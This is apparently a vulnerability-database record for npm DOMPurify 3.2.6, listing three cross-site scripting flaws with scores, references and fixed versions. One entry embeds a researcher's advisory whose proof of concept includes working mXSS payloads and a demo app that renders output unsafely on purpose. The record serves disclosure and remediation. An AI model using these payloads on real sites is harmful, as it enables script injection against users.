Lookup for vulnerable packages by Package URL.

Purlpkg:npm/dompurify@3.2.6
Typenpm
Namespace
Namedompurify
Version3.2.6
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.3.2
Latest_non_vulnerable_version3.4.0
Affected_by_vulnerabilities
0
url VCID-mv6v-re2k-g3gn
vulnerability_id VCID-mv6v-re2k-g3gn
summary
DOMPurify contains a Cross-site Scripting vulnerability
DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-15599.json
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-15599.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-15599
reference_id
reference_type
scores
0
value 0.00031
scoring_system epss
scoring_elements 0.08911
published_at 2026-04-02T12:55:00Z
1
value 0.00034
scoring_system epss
scoring_elements 0.09944
published_at 2026-04-26T12:55:00Z
2
value 0.00034
scoring_system epss
scoring_elements 0.0995
published_at 2026-04-21T12:55:00Z
3
value 0.00034
scoring_system epss
scoring_elements 0.098
published_at 2026-04-18T12:55:00Z
4
value 0.00034
scoring_system epss
scoring_elements 0.0983
published_at 2026-04-16T12:55:00Z
5
value 0.00034
scoring_system epss
scoring_elements 0.09954
published_at 2026-04-13T12:55:00Z
6
value 0.00034
scoring_system epss
scoring_elements 0.09977
published_at 2026-04-24T12:55:00Z
7
value 0.00034
scoring_system epss
scoring_elements 0.10018
published_at 2026-04-11T12:55:00Z
8
value 0.00034
scoring_system epss
scoring_elements 0.10002
published_at 2026-04-09T12:55:00Z
9
value 0.00034
scoring_system epss
scoring_elements 0.09953
published_at 2026-04-08T12:55:00Z
10
value 0.00034
scoring_system epss
scoring_elements 0.09877
published_at 2026-04-07T12:55:00Z
11
value 0.00034
scoring_system epss
scoring_elements 0.09979
published_at 2026-04-04T12:55:00Z
12
value 0.00034
scoring_system epss
scoring_elements 0.09888
published_at 2026-04-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-15599
2
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:05:27Z/
url https://github.com/cure53/DOMPurify
3
reference_url https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:05:27Z/
url https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-15599
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-15599
5
reference_url https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:05:27Z/
url https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml
6
reference_url https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml
7
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2444138
reference_id 2444138
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2444138
8
reference_url https://github.com/advisories/GHSA-v8jm-5vwx-cfxm
reference_id GHSA-v8jm-5vwx-cfxm
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v8jm-5vwx-cfxm
fixed_packages
0
url pkg:npm/dompurify@3.2.7
purl pkg:npm/dompurify@3.2.7
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ps3s-bymy-dkbc
1
vulnerability VCID-ter4-v1bu-7fan
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.2.7
aliases CVE-2025-15599, GHSA-v8jm-5vwx-cfxm
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mv6v-re2k-g3gn
1
url VCID-ps3s-bymy-dkbc
vulnerability_id VCID-ps3s-bymy-dkbc
summary
DOMPurify contains a Cross-site Scripting vulnerability
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `</noscript><img src=x onerror=alert(1)>` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-0540.json
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-0540.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-0540
reference_id
reference_type
scores
0
value 0.00012
scoring_system epss
scoring_elements 0.01461
published_at 2026-04-02T12:55:00Z
1
value 0.00013
scoring_system epss
scoring_elements 0.01918
published_at 2026-04-04T12:55:00Z
2
value 0.00013
scoring_system epss
scoring_elements 0.01944
published_at 2026-04-26T12:55:00Z
3
value 0.00013
scoring_system epss
scoring_elements 0.01948
published_at 2026-04-24T12:55:00Z
4
value 0.00013
scoring_system epss
scoring_elements 0.01962
published_at 2026-04-21T12:55:00Z
5
value 0.00013
scoring_system epss
scoring_elements 0.01917
published_at 2026-04-11T12:55:00Z
6
value 0.00013
scoring_system epss
scoring_elements 0.01919
published_at 2026-04-08T12:55:00Z
7
value 0.00013
scoring_system epss
scoring_elements 0.01933
published_at 2026-04-09T12:55:00Z
8
value 0.00013
scoring_system epss
scoring_elements 0.01876
published_at 2026-04-18T12:55:00Z
9
value 0.00013
scoring_system epss
scoring_elements 0.01877
published_at 2026-04-16T12:55:00Z
10
value 0.00013
scoring_system epss
scoring_elements 0.01897
published_at 2026-04-13T12:55:00Z
11
value 0.00013
scoring_system epss
scoring_elements 0.01973
published_at 2026-04-29T12:55:00Z
12
value 0.00013
scoring_system epss
scoring_elements 0.01902
published_at 2026-04-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-0540
2
reference_url https://fluidattacks.com/advisories/daft
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:01:28Z/
url https://fluidattacks.com/advisories/daft
3
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:01:28Z/
url https://github.com/cure53/DOMPurify
4
reference_url https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:01:28Z/
url https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80
5
reference_url https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5
6
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.3.2
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:01:28Z/
url https://github.com/cure53/DOMPurify/releases/tag/3.3.2
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-0540
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-0540
8
reference_url https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-03T19:01:28Z/
url https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml
9
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2444135
reference_id 2444135
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2444135
10
reference_url https://github.com/advisories/GHSA-v2wj-7wpq-c8vv
reference_id GHSA-v2wj-7wpq-c8vv
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v2wj-7wpq-c8vv
fixed_packages
0
url pkg:npm/dompurify@3.3.2
purl pkg:npm/dompurify@3.3.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.3.2
aliases CVE-2026-0540, GHSA-v2wj-7wpq-c8vv
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ps3s-bymy-dkbc
2
url VCID-ter4-v1bu-7fan
vulnerability_id VCID-ter4-v1bu-7fan
summary
DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
## Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).


## Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

## PoC

1. Start the PoC app:
```bash
npm install
npm start
```

2. Open `http://localhost:3001`.
3. Set `Wrapper en sink` to `xmp`.
4. Use payload:
```html
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
```

5. Click `Sanitize + Render`.
6. Observe:
- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.
- The sink reparses to include `<img src="x" onerror="alert('expoc')">`.
- `alert('expoc')` is triggered.
7. Files:
- index.html

```html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #22c55e;
        background: #f0fdf4;
      }

      @media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
```

- server.js

```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
```

- package.json

```json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}
```

## Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered
<img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />

## Why This Happens
This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

## Remediation Guidance
1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).
references
0
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
1
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.3.2
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/releases/tag/3.3.2
2
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2
3
reference_url https://github.com/advisories/GHSA-h8r8-wccr-v5f2
reference_id GHSA-h8r8-wccr-v5f2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h8r8-wccr-v5f2
fixed_packages
0
url pkg:npm/dompurify@3.3.2
purl pkg:npm/dompurify@3.3.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.3.2
aliases GHSA-h8r8-wccr-v5f2
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ter4-v1bu-7fan
Fixing_vulnerabilities
Risk_score3.1
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.2.6